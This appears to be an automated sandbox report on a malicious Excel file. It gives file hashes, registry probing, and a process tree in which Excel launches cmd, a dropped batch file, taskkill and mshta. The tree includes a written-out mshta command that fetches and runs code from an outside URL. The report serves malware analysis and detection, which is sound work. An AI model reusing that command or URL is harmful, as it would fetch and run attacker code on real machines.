Analysis
-
max time kernel
143s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
16-08-2022 07:45
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls
Resource
win10v2004-20220812-en
General
-
Target
SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls
-
Size
38KB
-
MD5
f758ac579e55bbc5fe8b729bfe99616c
-
SHA1
6b91b14af7b7fa8cc7a7b25256eee7f14b4eb325
-
SHA256
7b208abf05433369e1503ea96851a1b53eca58c6ef20dfaebf67c6813712cb89
-
SHA512
e457e74b209dcd5524f2e943c1eb3c016d60ed3c3fdfc331fdf488bd242113c581b3f8e7c8b627822203febea19b85dadafca855c643b93b261419697458530e
Malware Config
Extracted
http://facextrade.com.br/wp-includes/certificates/4.txt
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4488 4928 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 35 IoCs
Processes:
mshta.exeflow pid process 17 212 mshta.exe 18 212 mshta.exe 22 212 mshta.exe 23 212 mshta.exe 24 212 mshta.exe 25 212 mshta.exe 27 212 mshta.exe 28 212 mshta.exe 29 212 mshta.exe 30 212 mshta.exe 31 212 mshta.exe 41 212 mshta.exe 42 212 mshta.exe 43 212 mshta.exe 45 212 mshta.exe 46 212 mshta.exe 56 212 mshta.exe 57 212 mshta.exe 58 212 mshta.exe 59 212 mshta.exe 60 212 mshta.exe 61 212 mshta.exe 62 212 mshta.exe 64 212 mshta.exe 65 212 mshta.exe 66 212 mshta.exe 67 212 mshta.exe 68 212 mshta.exe 70 212 mshta.exe 71 212 mshta.exe 72 212 mshta.exe 73 212 mshta.exe 74 212 mshta.exe 75 212 mshta.exe 76 212 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 100 taskkill.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4928 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
taskkill.exedescription pid process Token: SeDebugPrivilege 100 taskkill.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE 4928 EXCEL.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
EXCEL.EXEcmd.execmd.exedescription pid process target process PID 4928 wrote to memory of 4488 4928 EXCEL.EXE cmd.exe PID 4928 wrote to memory of 4488 4928 EXCEL.EXE cmd.exe PID 4488 wrote to memory of 2596 4488 cmd.exe PING.EXE PID 4488 wrote to memory of 2596 4488 cmd.exe PING.EXE PID 4488 wrote to memory of 1492 4488 cmd.exe cmd.exe PID 4488 wrote to memory of 1492 4488 cmd.exe cmd.exe PID 1492 wrote to memory of 100 1492 cmd.exe taskkill.exe PID 1492 wrote to memory of 100 1492 cmd.exe taskkill.exe PID 4488 wrote to memory of 212 4488 cmd.exe mshta.exe PID 4488 wrote to memory of 212 4488 cmd.exe mshta.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping -n 8 127.0.0.13⤵
- Runs ping.exe
-
C:\Windows\system32\cmd.execmd /c start /min taskkill /f /im WINWORD.EXE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im WINWORD.EXE4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\mshta.exemshta http://facextrade.com.br/wp-includes/certificates/4.txt3⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Outlook.batFilesize
1KB
MD520484f4a7d41c5f54a0dc7a7d35c2155
SHA10b197c48d648bbdc131dca6d4fb89903303372f9
SHA2566df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072
SHA51294df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591
-
memory/100-143-0x0000000000000000-mapping.dmp
-
memory/212-144-0x0000000000000000-mapping.dmp
-
memory/1492-142-0x0000000000000000-mapping.dmp
-
memory/2596-140-0x0000000000000000-mapping.dmp
-
memory/4488-139-0x0000000000000000-mapping.dmp
-
memory/4928-137-0x00007FFCA0730000-0x00007FFCA0740000-memory.dmpFilesize
64KB
-
memory/4928-138-0x00007FFCA0730000-0x00007FFCA0740000-memory.dmpFilesize
64KB
-
memory/4928-132-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-136-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-135-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-133-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-134-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-147-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-148-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-149-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB
-
memory/4928-150-0x00007FFCA2C70000-0x00007FFCA2C80000-memory.dmpFilesize
64KB